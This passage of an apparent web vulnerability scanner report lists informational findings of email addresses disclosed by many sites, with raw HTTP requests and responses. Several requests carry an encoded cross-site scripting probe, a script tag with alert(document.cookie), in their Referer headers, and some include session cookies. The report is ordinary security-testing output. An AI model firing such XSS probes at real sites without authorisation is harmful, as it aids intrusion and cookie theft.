gnu@gnu.org
web-translators@gnu.org
webmasters@gnu.org
you@example.com

Request

GET /licenses/lgpl.html HTTP/1.1
Host: www.gnu.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:07:17 GMT
Server: Apache
Accept-Ranges: bytes
Cache-Control: max-age=0
Expires: Sun, 06 Feb 2011 16:07:17 GMT
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 21211

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<meta http
...[SNIP]...
<link rev="made" href="mailto:webmasters@gnu.org" />
...[SNIP]...
<input type="text" id="frmEmail" name="email" size="15" maxlength="80" value="you@example.com" onfocus="this.value=''" />
...[SNIP]...
<a href="mailto:gnu@gnu.org"><em>gnu@gnu.org</em>
...[SNIP]...
<a href="mailto:webmasters@gnu.org"><em>webmasters@gnu.org</em>
...[SNIP]...

...[SNIP]...

25.74. http://www.godaddy.com/default.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.godaddy.com
Path:	/default.aspx

Issue detail

The following email addresses were disclosed in the response:

YourEmail@YourWebsite.com
marketing@godaddy.com
sitesuggestions@godaddy.com

Request

GET /default.aspx HTTP/1.1
Host: www.godaddy.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.5
Set-Cookie: ASP.NET_SessionId=pti1oy31fkse4dz0wjeamsua; path=/; HttpOnly
X-AspNet-Version: 2.0.50727
Set-Cookie: adc1=US; domain=godaddy.com; path=/
Set-Cookie: flag1=cflag=us; domain=godaddy.com; expires=Sun, 05-Feb-2012 22:05:55 GMT; path=/
Set-Cookie: currency1=potableSourceStr=USD; domain=godaddy.com; expires=Sun, 05-Feb-2012 22:05:55 GMT; path=/
Set-Cookie: currencypopin1=cdisplaypopin=false; domain=godaddy.com; expires=Sun, 05-Feb-2012 22:05:55 GMT; path=/
Set-Cookie: SplitValue1=48; domain=godaddy.com; path=/
Set-Cookie: traffic=cookies=1&referrer=&sitename=www.godaddy.com&page=/default.aspx&server=M1PWCORPWEB130&status=200 OK&querystring=&shopper=&privatelabelid=1&isc=&clientip=173.193.214.243&referringpath=&referringdomain=&split=48; domain=godaddy.com; path=/
Set-Cookie: GoogleADServicesgoogleadwordshome=vbfgvejjzeofuihbqhpfcbpgibfeheyi; domain=godaddy.com; expires=Fri, 05-Feb-2021 22:05:55 GMT; path=/
Set-Cookie: HPBackground=DanicaImageOne; path=/
Date: Sat, 05 Feb 2011 22:05:55 GMT
Connection: close
Content-Length: 204633

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_Head1"><li
...[SNIP]...
<input class="txt_email in inp_iphone" type="text" name="pcf_email" id="pcf_email" onkeypress="pcj_key('pcj_signup()',event);" value="YourEmail@YourWebsite.com" onfocus="this.value=''; this.className='txt_email ty in inp_iphone';">
...[SNIP]...
<a style="color:blue;text-decoration:underline;font-size:12px;" href="javascript:pcj_fbiLink('mailto:sitesuggestions@godaddy.com?subject=Go Daddy Website Suggestions','40117','eMail','Popup')">sitesuggestions@godaddy.com</a>
...[SNIP]...
<a style="color:blue;text-decoration:underline;font-size:12px;" href="javascript:pcj_fbiLink('mailto:marketing@godaddy.com?subject=Go Daddy Marketing Opportunity','eMail','Popup')">marketing@godaddy.com</a>
...[SNIP]...

25.75. http://www.google.com/uds/solutions/dynamicfeed/gfdynamicfeedcontrol.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.google.com
Path:	/uds/solutions/dynamicfeed/gfdynamicfeedcontrol.js

Issue detail

The following email address was disclosed in the response:

dcollison@google.com

Request

GET /uds/solutions/dynamicfeed/gfdynamicfeedcontrol.js HTTP/1.1
Host: www.google.com
Proxy-Connection: keep-alive
Referer: http://www.mittelstandsblog.de/?d18cb%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E02e0a7e96b=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: NID=43=Cig5UOc1wv5sfNglqsyNnFFEHFTegiEsPcNcebZoaufNwyNg_IQMlCYN52J936mT_QhaGnP1ldozomC9pKE6pPObVlBzwrbZzma55sFIQ07o-FXH1wkI_XBsSCK3Q2fY; PREF=ID=11a9f75446a95c33:U=28a8b1ad565a039a:FF=0:TM=1293845297:LM=1296932041:GM=1:S=NDlWCWhRSX8WRFLQ

Response

HTTP/1.1 200 OK
Last-Modified: Thu, 03 Feb 2011 21:39:37 GMT
Content-Type: application/x-javascript
Date: Sun, 06 Feb 2011 17:09:43 GMT
Expires: Sun, 06 Feb 2011 17:09:43 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Server: GSE
Content-Length: 24583

/**
* Copyright (c) 2008 Google Inc.
*
* You are free to copy and use this sample.
* License can be found here: http://code.google.com/apis/ajaxsearch/faq/#license
*/

/**
* @fileoverview A feed gadget based on the AJAX Feed API.
* @author dcollison@google.com (Derek Collison)
*/

/**
* GFdynamicFeedControl
* @param {String} feed The feed URL.
* @param {String|Object} container Either the id string or the element itself.
* @param {Object} options Optio
...[SNIP]...

25.76. http://www.gpg.org/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.gpg.org
Path:	/

Issue detail

The following email addresses were disclosed in the response:

Europe@gpg.org
FSU@gpg.org
Israel@gpg.org
NorthAmerica@gpg.org
europe@gpg.org
fsu@gpg.org
israel@gpg.org
northamerica@gpg.org

Request

GET / HTTP/1.1
Host: www.gpg.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:06:39 GMT
Server: Apache
Set-Cookie: SESS4f8b8e940bd1b5592aec2833218c244b=juq455no7avf4ohoeb33ho2n46; expires=Tue, 01-Mar-2011 01:39:59 GMT; path=/; domain=.gpg.org
Last-Modified: Sat, 05 Feb 2011 22:06:39 GMT
ETag: "92cf80f6e0d2cd5989936c5e23a89fff"
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: must-revalidate
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 12735

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">

<head>
<meta http-equ
...[SNIP]...
<img src="/files/footer-sep.gif" class="footer-spacer" alt="Israel@gpg.org" />-->Israel: <a href="mailto:israel@gpg.org">Israel@gpg.org</a> <!--<img src="/files/footer-sep.gif" alt="Europe@gpg.org" class="footer-spacer" />
...[SNIP]...
<a href="mailto:europe@gpg.org">Europe@gpg.org</a> <!--<img src="/files/footer-sep.gif" alt="FSU@gpg.org" class="footer-spacer" />
...[SNIP]...
<a href="mailto:fsu@gpg.org">FSU@gpg.org</a> <!--<img src="/files/footer-sep.gif" alt="NorthAmerica@gpg.org" class="footer-spacer" />
...[SNIP]...
<a href="mailto:northamerica@gpg.org">NorthAmerica@gpg.org</a>
...[SNIP]...

25.77. http://www.hemidemi.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.hemidemi.com
Path:	/

Issue detail

The following email address was disclosed in the response:

mail@HEMiDEMi.com

Request

GET / HTTP/1.1
Host: www.hemidemi.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

25.78. http://www.hyves.nl/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.hyves.nl
Path:	/

Issue detail

The following email address was disclosed in the response:

info@hyves.nl

Request

GET / HTTP/1.1
Host: www.hyves.nl
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

25.79. http://www.instapaper.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.instapaper.com
Path:	/

Issue detail

The following email address was disclosed in the response:

instapaper@marco.org

Request

GET / HTTP/1.1
Host: www.instapaper.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:19 GMT
Server: Apache
P3P: CP="ALL ADM DEV PSAi COM OUR OTRo STP IND ONL"
Cache-Control: no-cache
Vary: Accept-Encoding
Content-Length: 4661
Connection: close
Content-Type: text/html; charset=utf-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>Instapaper: Save interesting web pages for reading later</title>
...[SNIP]...
<a href="mailto:instapaper@marco.org">instapaper@marco.org</a>
...[SNIP]...

25.80. http://www.jazdtech.com/css/favicon.ico previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.jazdtech.com
Path:	/css/favicon.ico

Issue detail

The following email address was disclosed in the response:

siteissues@jazd.net

Request

GET /css/favicon.ico HTTP/1.1
Host: www.jazdtech.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=F90B4442ACCB72FBEA93BBB1A2A1DEC7; __utmz=259445777.1297008611.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/63; __utma=259445777.516903533.1297008611.1297008611.1297008611.1; __utmc=259445777; __utmb=259445777.1.10.1297008611; _jsuid=5876149624996178797; JazdUser="3443252:1297008569105"; JazdSession="3b4eea85-b138-4e6f-b7b9-9e0d90c2cf6d:1297008537536"

Response

HTTP/1.1 404 Not Found
Date: Sun, 06 Feb 2011 16:09:34 GMT
Content-Type: text/html;charset=UTF-8
Content-Length: 1927

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Page Not Found</title>
<link rel="stylesheet" href="http://www.jazdtech.com:80/css/
...[SNIP]...
<a href="mailto:siteissues@jazd.net?subject=404 Error">
...[SNIP]...

25.81. http://www.kledy.co.uk/modules/exp_easynews/css/easynews.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kledy.co.uk
Path:	/modules/exp_easynews/css/easynews.css

Issue detail

The following email address was disclosed in the response:

grusha@feellove.eu

Request

GET /modules/exp_easynews/css/easynews.css HTTP/1.1
Host: www.kledy.co.uk
Proxy-Connection: keep-alive
Referer: http://www.kledy.co.uk/?b6885%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E58b3310da99=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=shtrg2ntptd2b1nqqoq2kqs3f23edrtj

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:10:16 GMT
Server: Apache/2.2.10 (Linux/SUSE)
Last-Modified: Fri, 29 Jan 2010 13:42:18 GMT
ETag: "8282d-3c1-47e4dcdd96280"
Accept-Ranges: bytes
Content-Length: 961
Content-Type: text/css

/*
{*
* EXP EasyNews (Pligg Module)
* Commercial License
* @Module EXP EasyNews
* @copyright (C) 2008 Autoneti OU
* @url http://www.pliggtemplates.eu/
* @author Grusha <grusha@feellove.eu>
...[SNIP]...

25.82. http://www.kledy.co.uk/modules/exp_gallery/css/master.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kledy.co.uk
Path:	/modules/exp_gallery/css/master.css

Issue detail

The following email addresses were disclosed in the response:

grusha@feellove.eu
info@exp.ee

Request

GET /modules/exp_gallery/css/master.css HTTP/1.1
Host: www.kledy.co.uk
Proxy-Connection: keep-alive
Referer: http://www.kledy.co.uk/?b6885%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E58b3310da99=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=shtrg2ntptd2b1nqqoq2kqs3f23edrtj

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:10:22 GMT
Server: Apache/2.2.10 (Linux/SUSE)
Last-Modified: Fri, 29 Jan 2010 13:42:34 GMT
ETag: "8441d-320-47e4dcecd8680"
Accept-Ranges: bytes
Content-Length: 800
Content-Type: text/css

/**
* EXP Gallery (Pligg modules)
* Commercial License
* @package EXP Gallery
* @copyright (C) 2007 Autoneti OU
* @url http://www.pliggtemplates.eu/
* @author XrByte <info@exp.ee>, Grusha <grusha@feellove.eu>
...[SNIP]...

25.83. http://www.kledy.co.uk/modules/exp_hotnews/css/exphotnews.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kledy.co.uk
Path:	/modules/exp_hotnews/css/exphotnews.css

Issue detail

The following email address was disclosed in the response:

grusha@feellove.eu

Request

GET /modules/exp_hotnews/css/exphotnews.css HTTP/1.1
Host: www.kledy.co.uk
Proxy-Connection: keep-alive
Referer: http://www.kledy.co.uk/?b6885%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E58b3310da99=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=shtrg2ntptd2b1nqqoq2kqs3f23edrtj

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:10:16 GMT
Server: Apache/2.2.10 (Linux/SUSE)
Last-Modified: Fri, 29 Jan 2010 13:43:43 GMT
ETag: "84060-229-47e4dd2ea61c0"
Accept-Ranges: bytes
Content-Length: 553
Content-Type: text/css

/**
* EXP NewPage (Pligg modules)
* Commercial License
* @package EXP HotNews
* @copyright (C) 2008 Autoneti OU
* @url http://www.pliggtemplates.eu/
* @author Grusha <grusha@feellove.eu>
...[SNIP]...

25.84. http://www.kledy.co.uk/modules/exp_newpage/css/expnewpage.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kledy.co.uk
Path:	/modules/exp_newpage/css/expnewpage.css

Issue detail

The following email address was disclosed in the response:

grusha@feellove.eu

Request

GET /modules/exp_newpage/css/expnewpage.css HTTP/1.1
Host: www.kledy.co.uk
Proxy-Connection: keep-alive
Referer: http://www.kledy.co.uk/?b6885%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E58b3310da99=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=shtrg2ntptd2b1nqqoq2kqs3f23edrtj

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:10:22 GMT
Server: Apache/2.2.10 (Linux/SUSE)
Last-Modified: Fri, 29 Jan 2010 13:44:44 GMT
ETag: "8445f-187-47e4dd68d2b00"
Accept-Ranges: bytes
Content-Length: 391
Content-Type: text/css

/**
* EXP NewPage (Pligg modules)
* Commercial License
* @package EXP NewPage
* @copyright (C) 2008 Autoneti OU
* @url http://www.pliggtemplates.eu/
* @author Grusha <grusha@feellove.eu>
...[SNIP]...

25.85. http://www.kledy.co.uk/modules/exp_radio/css/expradio.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kledy.co.uk
Path:	/modules/exp_radio/css/expradio.css

Issue detail

The following email address was disclosed in the response:

grusha@feellove.eu

Request

GET /modules/exp_radio/css/expradio.css HTTP/1.1
Host: www.kledy.co.uk
Proxy-Connection: keep-alive
Referer: http://www.kledy.co.uk/?b6885%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E58b3310da99=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=shtrg2ntptd2b1nqqoq2kqs3f23edrtj

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:10:17 GMT
Server: Apache/2.2.10 (Linux/SUSE)
Last-Modified: Fri, 29 Jan 2010 13:44:55 GMT
ETag: "84498-102-47e4dd73503c0"
Accept-Ranges: bytes
Content-Length: 258
Content-Type: text/css

/**
* EXP Radio/Video (Pligg modules)
* Commercial License
* @package EXP Radio/Video
* @copyright (C) 2007 Autoneti OU
* @url http://www.pliggtemplates.eu/
* @author Grusha <grusha@feellove.eu>
...[SNIP]...

25.86. http://www.kledy.de/modules/exp_gallery/css/master.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kledy.de
Path:	/modules/exp_gallery/css/master.css

Issue detail

The following email addresses were disclosed in the response:

grusha@feellove.eu
info@exp.ee

Request

GET /modules/exp_gallery/css/master.css HTTP/1.1
Host: www.kledy.de
Proxy-Connection: keep-alive
Referer: http://www.kledy.de/bookmarks.php?18fe2%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eef67307aec5=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=gd27lfmj2ui4qbk3nni47kv9tvnpfun3

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:07:24 GMT
Server: Apache/2.2.10 (Linux/SUSE)
Last-Modified: Wed, 03 Feb 2010 23:03:58 GMT
ETag: "5a878-2ec-47eba3bbb7380"
Accept-Ranges: bytes
Content-Length: 748
Content-Type: text/css

/**
* EXP Gallery (Pligg modules)
* Commercial License
* @package EXP Gallery
* @copyright (C) 2007 Autoneti OU
* @url http://www.pliggtemplates.eu/
* @author XrByte <info@exp.ee>, Grusha <grusha@feellove.eu>
...[SNIP]...

25.87. http://www.kledy.de/modules/exp_hotnews/css/exphotnews.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kledy.de
Path:	/modules/exp_hotnews/css/exphotnews.css

Issue detail

The following email address was disclosed in the response:

grusha@feellove.eu

Request

GET /modules/exp_hotnews/css/exphotnews.css HTTP/1.1
Host: www.kledy.de
Proxy-Connection: keep-alive
Referer: http://www.kledy.de/bookmarks.php?18fe2%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eef67307aec5=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=gd27lfmj2ui4qbk3nni47kv9tvnpfun3

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:07:18 GMT
Server: Apache/2.2.10 (Linux/SUSE)
Last-Modified: Wed, 03 Feb 2010 23:04:07 GMT
ETag: "5a460-204-47eba3c44c7c0"
Accept-Ranges: bytes
Content-Length: 516
Content-Type: text/css

/**
* EXP NewPage (Pligg modules)
* Commercial License
* @package EXP HotNews
* @copyright (C) 2008 Autoneti OU
* @url http://www.pliggtemplates.eu/
* @author Grusha <grusha@feellove.eu>
**/

...[SNIP]...

25.88. http://www.kledy.de/modules/exp_newpage/css/expnewpage.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kledy.de
Path:	/modules/exp_newpage/css/expnewpage.css

Issue detail

The following email address was disclosed in the response:

grusha@feellove.eu

Request

GET /modules/exp_newpage/css/expnewpage.css HTTP/1.1
Host: www.kledy.de
Proxy-Connection: keep-alive
Referer: http://www.kledy.de/bookmarks.php?18fe2%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eef67307aec5=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=gd27lfmj2ui4qbk3nni47kv9tvnpfun3

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:07:24 GMT
Server: Apache/2.2.10 (Linux/SUSE)
Last-Modified: Wed, 03 Feb 2010 23:04:25 GMT
ETag: "5a8bb-173-47eba3d577040"
Accept-Ranges: bytes
Content-Length: 371
Content-Type: text/css

/**
* EXP NewPage (Pligg modules)
* Commercial License
* @package EXP NewPage
* @copyright (C) 2008 Autoneti OU
* @url http://www.pliggtemplates.eu/
* @author Grusha <grusha@feellove.eu>
**/

...[SNIP]...

25.89. http://www.kledy.de/modules/exp_radio/css/expradio.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kledy.de
Path:	/modules/exp_radio/css/expradio.css

Issue detail

The following email address was disclosed in the response:

grusha@feellove.eu

Request

GET /modules/exp_radio/css/expradio.css HTTP/1.1
Host: www.kledy.de
Proxy-Connection: keep-alive
Referer: http://www.kledy.de/bookmarks.php?18fe2%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eef67307aec5=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=gd27lfmj2ui4qbk3nni47kv9tvnpfun3

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:07:19 GMT
Server: Apache/2.2.10 (Linux/SUSE)
Last-Modified: Wed, 03 Feb 2010 23:04:29 GMT
ETag: "5c01d-f6-47eba3d947940"
Accept-Ranges: bytes
Content-Length: 246
Content-Type: text/css

/**
* EXP Radio/Video (Pligg modules)
* Commercial License
* @package EXP Radio/Video
* @copyright (C) 2007 Autoneti OU
* @url http://www.pliggtemplates.eu/
* @author Grusha <grusha@feellove.eu>
...[SNIP]...

25.90. http://www.kledy.es/modules/exp_easynews/css/easynews.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kledy.es
Path:	/modules/exp_easynews/css/easynews.css

Issue detail

The following email address was disclosed in the response:

grusha@feellove.eu

Request

GET /modules/exp_easynews/css/easynews.css HTTP/1.1
Host: www.kledy.es
Proxy-Connection: keep-alive
Referer: http://www.kledy.es/?bc891%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E5d09625540c=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=nloic33gus522qmdpladgr44oef587fc

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:11:40 GMT
Server: Apache/2.2.10 (Linux/SUSE)
Last-Modified: Thu, 04 Feb 2010 10:25:00 GMT
ETag: "7a50e-380-47ec3bf4c1700"
Accept-Ranges: bytes
Content-Length: 896
Content-Type: text/css

/*
{*
* EXP EasyNews (Pligg Module)
* Commercial License
* @Module EXP EasyNews
* @copyright (C) 2008 Autoneti OU
* @url http://www.pliggtemplates.eu/
* @author Grusha <grusha@feellove.eu>
*}
*/
...[SNIP]...

25.91. http://www.kledy.es/modules/exp_gallery/css/master.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kledy.es
Path:	/modules/exp_gallery/css/master.css

Issue detail

The following email addresses were disclosed in the response:

grusha@feellove.eu
info@exp.ee

Request

GET /modules/exp_gallery/css/master.css HTTP/1.1
Host: www.kledy.es
Proxy-Connection: keep-alive
Referer: http://www.kledy.es/?bc891%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E5d09625540c=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=nloic33gus522qmdpladgr44oef587fc

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:11:46 GMT
Server: Apache/2.2.10 (Linux/SUSE)
Last-Modified: Thu, 04 Feb 2010 10:25:04 GMT
ETag: "7c0fa-2ec-47ec3bf892000"
Accept-Ranges: bytes
Content-Length: 748
Content-Type: text/css

/**
* EXP Gallery (Pligg modules)
* Commercial License
* @package EXP Gallery
* @copyright (C) 2007 Autoneti OU
* @url http://www.pliggtemplates.eu/
* @author XrByte <info@exp.ee>, Grusha <grusha@feellove.eu>
...[SNIP]...

25.92. http://www.kledy.es/modules/exp_hotnews/css/exphotnews.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kledy.es
Path:	/modules/exp_hotnews/css/exphotnews.css

Issue detail

The following email address was disclosed in the response:

grusha@feellove.eu

Request

GET /modules/exp_hotnews/css/exphotnews.css HTTP/1.1
Host: www.kledy.es
Proxy-Connection: keep-alive
Referer: http://www.kledy.es/?bc891%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E5d09625540c=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=nloic33gus522qmdpladgr44oef587fc

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:11:40 GMT
Server: Apache/2.2.10 (Linux/SUSE)
Last-Modified: Thu, 04 Feb 2010 10:25:13 GMT
ETag: "7a632-204-47ec3c0127440"
Accept-Ranges: bytes
Content-Length: 516
Content-Type: text/css

/**
* EXP NewPage (Pligg modules)
* Commercial License
* @package EXP HotNews
* @copyright (C) 2008 Autoneti OU
* @url http://www.pliggtemplates.eu/
* @author Grusha <grusha@feellove.eu>
**/

...[SNIP]...

25.93. http://www.kledy.es/modules/exp_newpage/css/expnewpage.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kledy.es
Path:	/modules/exp_newpage/css/expnewpage.css

Issue detail

The following email address was disclosed in the response:

grusha@feellove.eu

Request

GET /modules/exp_newpage/css/expnewpage.css HTTP/1.1
Host: www.kledy.es
Proxy-Connection: keep-alive
Referer: http://www.kledy.es/?bc891%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E5d09625540c=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=nloic33gus522qmdpladgr44oef587fc

Response

HTTP/1.1 200 OK
